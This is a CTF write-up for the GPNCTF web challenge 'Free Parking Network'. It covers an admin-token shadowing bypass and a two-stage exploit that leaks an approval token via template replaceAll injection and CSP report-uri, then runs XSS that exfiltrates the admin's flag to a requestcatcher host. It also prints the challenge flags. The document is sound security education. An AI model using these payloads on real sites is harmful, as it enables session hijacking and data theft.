Description for v1:

Do you like to pay for hosting? No. I have the perfect solution for you!

Free Parking Network is a globally distributed, free hosting service that allows you to host your websites without any cost. It is designed to be easy to use and provides a simple interface for deploying your websites now.

LEGAL: After a thorough review from our legal team your websites will be served to the world. We reserve the right to remove your website at any time without notice. We are not responsible for any content that you host on our platform. By using Free Parking Network, you agree to our terms and conditions.

Description for v2:

After multiple take down requests from law enforcement, we made our site even more secure. Now an admin needs to review all uploaded websites before they go live.

But remember, we reserve the right to remove your website at any time without notice. We are not responsible for any content that you host on our platform. By using Free Parking Network, you agree to our terms and conditions.

Category: Web

Solver: Liekedaeler

Flag v1: GPNCTF{13gAl_team?_WH4T3vEr_th1S_I5_a_51NgLE_dev_JU5T_U51Ng_aWs}

Flag v2: GPNCTF{DId_yOU_SoLVE_v1_83fore_v2?_c7rL+c_C7rL+V_fUck_My_l1Fe_i_Need_mOre_sLe3p}

Scenario

Free Parking Network came in 2 versions. The first one unfortunately had a trivial bypass. We’ll first dive into that briefly before examining the actual task. We’ll present two solutions: the one we did (which is somewhat unintended) and the intended solution. But before any of that, let’s set the scene.

This is a web challenge with source code (highly appreciated!). It allows us to create notes where we can set both the HTML body and the HTTP response headers. That’s, well, sus. To get the flag we need to XSS the admin bot because only the admin is allowed to view the flag and we should not be able to log in as the admin. Well, should.

Bypassing the challenge alltogether

We can completely bypass the challenge by simply logging in as the admin with any adminToken. To understand why that happens, let’s look at the relevant source code:

const adminToken = crypto.randomBytes(64).toString('hex');
noSessionRouter.get('/admin/login', async (req, res, next) => {
    let adminToken = req.query.adminToken;

    if (req.query.adminToken !== adminToken) {
        res.send("Token is wrong");
        return;
    }

    req.session.returning = true;
    req.session.userId = 0;
    res.sendStatus(200);
});

What we can see here is a very costly mistake and one that is easy to make. The app globally sets a random adminToken that we’d never be able to guess. However, when logging in as an admin and supplying and adminToken, it shadows the global adminToken. If you’re not familiar, that means it overwrites the global adminToken in our local scope (inside the function), because a variable of the same name is defined. It sets the adminToken to req.query.adminToken and then compares that to req.query.adminToken. Obviously, they’re always equal, allowing us to log in as the admin with an arbitrary adminToken. To get the flag we can simply log in by navigating to /admin/login?adminToken=whoCares and then get the flag by navigating to /site/flag.

The fix for this was about as simple as you can imagine:

const ADMIN_TOKEN = crypto.randomBytes(64).toString('hex');
noSessionRouter.get('/admin/login', async (req, res, next) => {
    if (req.query.adminToken !== ADMIN_TOKEN) {
        res.send("Token is wrong");
        return;
    }

    req.session.returning = true;
    req.session.userId = 0;
    res.sendStatus(200);
});

Before moving on, I’d like to point out that making such a mistake is simply human and the organizers are no perfect machines. Also, I didn’t even bother to look at the admin login and only found this when I dumped the code into ChatGPT, so yeah something to add to my methodology.

Our slightly unintended solution

Now, on to the actual challenge. Let’s look at the source code to figure out exactly what we need to do to get the flag. The flag is added to the database by this code:

db.serialize(() => {
    db.run(sites);
    // Insert a default user site if it doesn't exist
    db.get('SELECT * FROM sites WHERE id = ?', ['flag'], (err, row) => {
        if (!row) {
            const approveToken = crypto.randomBytes(12).toString('hex');
            db.run(
                'INSERT INTO sites (id, approveToken, html, owner, approved, headers) VALUES (?, ?, ?, ?, ?, ?)',
                [
                    'flag',
                    approveToken,
                    `<h1>Welcome to my secret site!</h1><p>Here is your voucher to get always Free Parking: ${flag}</p>`,
                    -1,
                    false,
                    ''
                ]
            );
        }
    });
});

So it has a static ID, some approveToken, no owner and isn’t approved. We can figure out what that means for us by examining the following code from the /site/:id: route:

if ((req.session.userId !== 0 && req.session.userId !== site.owner) && !site.approved) {
    return res.status(403).send('This site is not approved yet. Please wait for admin approval.');
}

So to view the page, we need to either be the admin (userId == 0), the site’s owner (but we can’t get our id to be -1), or have the site be approved. Approval works through approveTokens which only the admin can see:

approveToken = "";
if (req.session.userId === 0) approveToken = site.approveToken;

So we definitely need to get the admin to fetch the flag for us, aka XSS the admin. There is only one tiny problem with that, which is the absolutely air-tight CSP:

CSP = "";
if (site.approved !== 1) CSP = '<meta http-equiv="Content-Security-Policy" content="default-src \'none\'">';

Well, then obviously we need to get our page approved, right? Well, yes, but we can’t get the approveToken for our page. So we need to get it from the admin without doing XSS. Let’s take a look at the template our contents are injected into:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    {{CSP}}
    <title>User made site hosted on our Free Parking Network</title>
</head>
<body>
    <a href="/approve/{{site.id}}/{{site.approveToken}}">Approve this site</a>
    {{site.html}}
</body>
</html>

So we control the HTML body. That’s cool and all but doesn’t really help us. The only way I could think of to get the admin to do anything would be redirecting the admin. Even with the strict CSP, that’s still allowed. But for that we’d need a meta refresh tag, which only works in the header. Now let me ask you a very dumb question: What if we just close the body and open a new header? Surely that’s illegal, right? Actually, no. As is often the case, the browser is incredibly forgiving and tries to work with just about anything, including multiple header parts. So we can do something like this:

</body>
<head>
<meta http-equiv="refresh" content="1;url=https://liekedaeler.requestcatcher.com/">

As we are forced to enter something into the headers field too, we can just use X-Ignore: 1 which does nothing. When we send the admin to review our requested site, we indeed get a hit. So that works. But that still didn’t give us the approveToken. To get the token, we need to take another look at the code, specifically at how everything is templated into the HTML template:

html = hosting_template
    .replaceAll("{{site.html}}", site.html || 'NO HTML FOUND')
    .replaceAll("{{site.id}}", site.id || 'NO ID FOUND, how did this even happen?')
    .replaceAll("{{site.approveToken}}", approveToken)
    .replaceAll("{{CSP}}", CSP);

Two things are crucial to observe here: our HTML is templated in first and it uses replaceAll(), which replaces all occurrences instead of just the first. Sooo, what if we had the string {{site.approveToken}} in our HTML? Specifically, what if built upon our previous payload like this?

</body>
<head>
<meta http-equiv="refresh" content="1;url=https://liekedaeler.requestcatcher.com/leak?token={{site.approveToken}}">

Now {{site.approveToken}} will be replaced by both in the intended location and where we specified it. Our requestcatcher now catches GET /leak?token=925a739599bf62dc6cfbdcc139e3fe6b. Mission accomplished, we got our approveToken. With that, we can simply hit /approve/:siteId/:approveToken to approve our page and it’ll now run without any CSP. Now we have a page without a CSP but can’t edit it to host our XSS payload :(

Hence, we need to build a payload with 2 stages. The one we already built that leaks the approveToken and then another one, in the same page, that does the actual XSS on the admin. So the page will need to behave differently before and after approval of the page. This is surprisingly easy to do. Before the approval, our page has a strong CSP, prohibiting any scripts from running. But that won’t hurt our redirect. Once the page is approved, our script will run. We just need to make sure our script runs before we redirect the admin. Such a payload will look like this:

</body>
<head>
<script>
  (async()=>{
    let res = await fetch('http://localhost:1337/site/flag', { credentials: 'include' });
    let text = await res.text();
    let flag = text.match(/GPNCTF\{.*?\}/)[0];
    await fetch('https://liekedaeler.requestcatcher.com/flag?='+encodeURIComponent(flag));
  })();
</script>
<meta http-equiv="refresh" content="1;url=https://liekedaeler.requestcatcher.com/leak?token={{site.approveToken}}">

So the final exploit works like this:

  1. open a requestcatcher
  2. Upload payload with our X-Ignore header, note siteId from the network tab of our browser
  3. hit /review/:siteId: to activate our first stage
  4. grab approveToken from our requestcatcher
  5. approve our site by hitting /approve/:siteId:/:approveToken:
  6. hit /review/:siteId: to activate our second stage
  7. get flag from requestcatcher

The intended solution

Now you may be wondering why we were able to set HTTP response headers at all if we didn’t use that so far. After all, that is incredibly sus. We’ll be following the same idea: first leak the approveToken, then approve our page and finally XSS the admin. But this time, we’ll use another method to leak the approveToken.

To get an overview of all the available headers we could use, let’s take a look at the MDN docs on HTTP headers. There are tons, but many aren’t interesting as they have nothing to do with XSS or anything related. Eventually, you’ll stumble upon the Content-Security-Policy-Report-Only header. It allows us to monitor any content security policy violations without blocking them. This can be incredibly helpful when trying to configure CSPs without breaking your own website. But it also has detrimental effects when controlled by an attacker. We can specify a report-uri that any violations will be reported to, effectively giving us an exfiltration method.

To exploit it, we’ll first start up a requestcatcher (e.g. https://liekedaeler.requestcatcher.com). Then we can create a new page and add our headers: Content-Security-Policy-Report-Only: default-src 'none'; report-uri https://liekedaeler.requestcatcher.com. Now if anything violates the CSP of default-src 'none', that will be reported to our requestcatcher. That itself is cool, but won’t help us. We still need to somehow get the approveToken to be part of that report. Luckily, in our previous solution, we’ve already discovered a way to do exactly that. We can abuse the replace_all() in the templating by specifying HTML like this: <img src="https://xxx.yyy/{{site.approveToken}}">. The replacement of {{site.approveToken}} will not only replace it in the correct location but also in ours. Now a report will contain the approveToken because it is part of the offending URL (since img URLs are also restricted by the CSP). When putting in both our HTML payload and our headers, then sending that page off to the admin for review, we indeed that a report. And most importantly, report contains "blocked-uri":"https://xxx.yyy/9024a505285785978a9f54e8947e006b", so we have leaked our approveToken.

From here we can do the same thing as before. That is, we approve our own page to remove the CSP and then we can XSS the admin freely. For that, we need to put both stages of our attack into the same payload as we can’t change the page after leaking the approveToken. So, same as before. We can just copy our XSS from the last section and end up with this payload (using the header Content-Security-Policy-Report-Only: default-src 'none'; report-uri https://liekedaeler.requestcatcher.com/):

<!-- first stage: approveToken leak via CSP report -->
<img src="https://xxx.yyy/{{site.approveToken}}">
<!-- second stage: XSS the admin -->
<script>
  (async()=>{
    let res = await fetch('http://localhost:1337/site/flag', { credentials: 'include' });
    let text = await res.text();
    let flag = text.match(/GPNCTF\{.*?\}/)[0];
    await fetch('https://liekedaeler.requestcatcher.com/flag?='+encodeURIComponent(flag));
  })();
</script>

The exploit now works like this:

  1. open a requestcatcher
  2. Upload payload together with our header
  3. hit /review/:siteId: to activate our first stage
  4. grab approveToken from our requestcatcher
  5. approve our site by hitting /approve/:siteId:/:approveToken:
  6. hit /review/:siteId: to activate our second stage
  7. get flag from requestcatcher